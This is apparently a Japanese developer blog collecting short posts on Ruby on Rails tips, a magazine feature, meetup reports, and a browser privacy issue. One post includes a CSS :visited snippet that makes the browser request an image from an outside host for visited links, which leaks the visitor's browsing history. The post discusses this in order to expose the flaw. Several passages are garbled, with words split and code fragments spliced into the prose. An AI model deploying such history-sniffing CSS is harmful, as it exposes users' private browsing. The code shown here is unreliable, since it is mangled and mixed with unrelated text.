日経ソフトウエア10月号
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8/24発売の日経ソフトウエア10月号で、仕事で使えるRuby on Railsと題して、特集記事を書かせていただきました。
今月はRuby特集です。 プロコン出身者としては、プロコンの話が載ってて懐かしい…。
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8/24発売の日経ソフトウエア10月号で、仕事で使えるRuby on Railsと題して、特集記事を書かせていただきました。
今月はRuby特集です。 プロコン出身者としては、プロコンの話が載ってて懐かしい…。
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in_place_e
model[attribute] = some_valueあとは、in_place_eif !model.vali d? && model.erro rs.invalid ?(attribute) # specified attribute is invalid! end
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yamazのRails日記 を読んでいて、injectを使う局面を思いついたのでメモ。
目的は、Arrayから特定の条件を満たす要素に変換を掛けた結果を取得する事です。
[1,2,3].inject([]){|r,i| i!=2 ? r<<i.to_s : r} #=> ["1","3"]
ちょうどselectとmapを同時にかけたような感じになります。
逆に、mapした結果をselectしたい場合は
["a","ab","aab"].inject([]){|r,i| (s=i=~/b/) ? r<<s : r} #=> [1,2]
こんな風にすればOKですね。
※注 このエントリの内容は、隙あらばinject派(Rubyist SNS)のお遊びなので、通常は可読性を考えてselectとmapを使ったほうが無難です(8/22 16:56 追記)
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Ruby on Railsでは、config/rou
map.connec/foo/bazにアクセスすると、params[:bar]に'baz'が入った状態でFooControlt 'for/:bar', :controlle r => 'foo', :action => 'show'
しかし、/fooにアクセスするとRouting Errorになってしまいます。:barの指定を省略可能にするには、
map.connecのように、デフォルトのbarの値を指定します。これによって、/fooでアクセスした時にはparams[:bar]は'default_vat 'for/:bar', :controlle r => 'foo', :action => 'show', :bar => 'default_va lue'
:controlle
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brazilさんのエントリ「そのリソースを訪問済みか判定する」で、visited擬似クラスによって訪問済みサイトの情報が漏洩してしまうという事が指摘されています。
確かにいろいろまずそうですね…。addRuleを使わなくても、background
<style> a#url-1:visivisited擬似クラス自体を無くす必要があるかも。ted { background -image: url("http://acc esscheck.c om/?url=http:/ /foo.bar.c om/"); } </style> <a id="url-1" href="http://foo .bar.com/">foo.bar.co m</a>
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Ruby-GetTe
しかし、Ruby-GetTe
具体的には、環境変数MSGMERGE_P
$ rake updatepo MSGMERGE_PrmsgmergeにPATHが通っていれば、上記のようにコマンド名だけ指定すればOKですが、そうでない場合はフルパスで指定しましょう。 Windows環境の場合は、rmsgmerge.ATH=rmsgme rge
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7/31(木)に開催されたGreeLabsのオープンソーステクノロジー勉強会#5に行ってきました。
今回はSRA OSS, Inc.日本支社 取締役支社長の石井達夫さんと、Greeのデザイナーの三野さんがスピーカーでした。Postgresの歴史と今後の話を石井さんが、ウェブデザインパターンの紹介を三野さんがされました。
PostgreSQL
ウェブデザインパターンについては、前回に引き続き、今回はデザイナーからの視点で紹介していただきました。CSSをモジュール化し、Snippetとして利用できるようにしているという事や、Wikiを使ってブラッシュアップを重ねているという試みは、とても面白かったです。 情報源としては、下記のサイトが紹介されていました。
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昨日、Award on Railsの参加者を招待してお疲れ会を行いました。
詳しい内容については、後日よしてつさんからもっと詳しいレポートがあるので省きますが、とても楽しかったです。それまで作品を通してしか知らなかった参加者の方々と、実際にお会いして話をする事ができました。 機会があったら、Rails勉強会とかでまたお会いできると良いですね。
4月に開始してから4ヶ月になりますが、期待していた以上に作品が集まり、内容も面白いものが多かったので良かったです。
参加者の皆様、ありがとうございました。 作品を使ってみて投票してくださった方々もありがとうございました。 後日抽選により、Award on Rails Tシャツ(暗闇で光る)とさくらインターネット様から提供いただいているUSBメモリーをプレゼントさせて頂きます。
ということで、また来年も開催できると良いです。 ありがとうございました。
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